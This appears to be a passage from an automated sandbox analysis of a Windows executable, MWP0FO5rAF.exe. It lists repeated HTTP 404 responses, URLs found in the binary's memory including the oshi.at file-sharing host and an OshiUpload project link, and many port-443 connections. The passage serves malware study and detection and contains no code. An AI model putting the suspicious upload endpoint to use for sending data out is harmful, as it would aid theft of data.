      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:51:40 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:51:42 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:51:47 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:51:50 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:51:52 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:51:56 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:51:58 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:01 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:03 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:05 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:07 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:09 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:15 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:17 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:19 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:22 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:24 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:25 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:28 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:30 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:32 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:34 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:35 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:37 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:40 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:42 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:44 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:46 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:48 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:50 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:52 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:53 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:55 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:57 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:52:59 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:01 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:02 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:04 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:06 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:08 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:10 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:12 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:14 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:16 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:17 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:19 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:22 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:24 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:26 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:28 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:30 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:32 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:34 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 17:53:36 GMTContent-Type: text/html;charset=UTF-8Content-Length: 1849Connection: close
      Source: MWP0FO5rAF.exeString found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
      Source: MWP0FO5rAF.exeString found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0
      Source: MWP0FO5rAF.exeString found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
      Source: MWP0FO5rAF.exeString found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
      Source: MWP0FO5rAF.exeString found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
      Source: MWP0FO5rAF.exeString found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
      Source: MWP0FO5rAF.exeString found in binary or memory: http://ocsps.ssl.com0
      Source: MWP0FO5rAF.exeString found in binary or memory: http://ocsps.ssl.com0?
      Source: MWP0FO5rAF.exeString found in binary or memory: http://ocsps.ssl.com0_
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000364E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000348F000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000333A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037B3000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003840000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033BA000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000351A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000373E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000036D8000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033F4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://oshi.at
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000364E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://oshi.atH
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000364E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000348F000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000333A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037B3000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003840000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033BA000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000351A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000373E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000036D8000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033F4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://oshi.atd
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003327000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
      Source: MWP0FO5rAF.exeString found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
      Source: MWP0FO5rAF.exeString found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035D2000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035FE000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000346B000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003353000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003392000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003483000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035BD000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003437000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000364E000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003591000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000348F000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035AD000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003443000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033AA000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003642000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000361A000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003602000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000035F6000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.000000000343F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/somenonymous/OshiUpload
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000033BA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oshi.a
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003840000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003327000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000036D8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oshi.at
      Source: MWP0FO5rAF.exeString found in binary or memory: https://oshi.at/gQkq
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oshi.at/gQkqH
      Source: MWP0FO5rAF.exe, 00000000.00000002.3796559647.00000000037D1000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003808000.00000004.00000800.00020000.00000000.sdmp, MWP0FO5rAF.exe, 00000000.00000002.3796559647.0000000003840000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oshi.at/gQkqd
      Source: MWP0FO5rAF.exeString found in binary or memory: https://www.ssl.com/repository0
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49861
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49982
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50054
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50053
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50056
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50055
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50058
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50057
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50059
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50061
      Source: unknownNetwork traffic detected: HTTP traffic on port 50022 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50060
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50063
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50062
      Source: unknownNetwork traffic detected: HTTP traffic on port 50068 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50045 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50085 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50039 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49971
      Source: unknownNetwork traffic detected: HTTP traffic on port 50010 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50065
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50064
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50067
      Source: unknownNetwork traffic detected: HTTP traffic on port 50056 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50066
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50069
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50068
      Source: unknownNetwork traffic detected: HTTP traffic on port 50074 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50070
      Source: unknownNetwork traffic detected: HTTP traffic on port 50004 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50072
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50071
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50074
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50073
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49849
      Source: unknownNetwork traffic detected: HTTP traffic on port 50080 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49960
      Source: unknownNetwork traffic detected: HTTP traffic on port 50009 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50034 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50015 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50040 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50076
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50075
      Source: unknownNetwork traffic detected: HTTP traffic on port 50057 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50078
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50077
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50079
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50081
      Source: unknownNetwork traffic detected: HTTP traffic on port 50073 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50080
      Source: unknownNetwork traffic detected: HTTP traffic on port 50028 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50083
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50082
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50085
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50084
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49839
      Source: unknownNetwork traffic detected: HTTP traffic on port 50062 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49839 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50087
      Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50086
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50088
      Source: unknownNetwork traffic detected: HTTP traffic on port 50079 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50051 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50023 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49946
      Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50018
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50017
      Source: unknownNetwork traffic detected: HTTP traffic on port 50061 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50019
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49783
      Source: unknownNetwork traffic detected: HTTP traffic on port 50017 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50032 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50010
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50012
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50011
      Source: unknownNetwork traffic detected: HTTP traffic on port 50055 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50014
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50013
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50016
      Source: unknownNetwork traffic detected: HTTP traffic on port 50078 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50015
      Source: unknownNetwork traffic detected: HTTP traffic on port 50049 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50026 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49885 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49899
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50029
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50028
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50021
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50020
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50023
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50022
      Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50025
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50024
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50027
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50026
      Source: unknownNetwork traffic detected: HTTP traffic on port 50000 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50021 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50030
      Source: unknownNetwork traffic detected: HTTP traffic on port 50067 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50084 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50039
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49885
      Source: unknownNetwork traffic detected: HTTP traffic on port 50038 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
      Source: unknownNetwork traffic detected: HTTP traffic on port 50011 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50032
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50031
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50034
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50033
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50036
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50035
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50038
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50037
      Source: unknownNetwork traffic detected: HTTP traffic on port 50050 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50005 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50041
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50040
      Source: unknownNetwork traffic detected: HTTP traffic on port 50066 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50083 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49999
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49874
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
      Source: unknownNetwork traffic detected: HTTP traffic on port 50016 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49993
      Source: unknownNetwork traffic detected: HTTP traffic on port 50033 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50043
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50042
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50045
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50044
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50047
      Source: unknownNetwork traffic detected: HTTP traffic on port 49874 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50046
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50049
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50048
      Source: unknownNetwork traffic detected: HTTP traffic on port 50072 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50050
      Source: unknownNetwork traffic detected: HTTP traffic on port 50027 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50052
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50051
      Source: unknownNetwork traffic detected: HTTP traffic on port 50044 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50013 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50036 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50042 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50007 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50059 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49912 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50071 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49849 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50060 -> 443
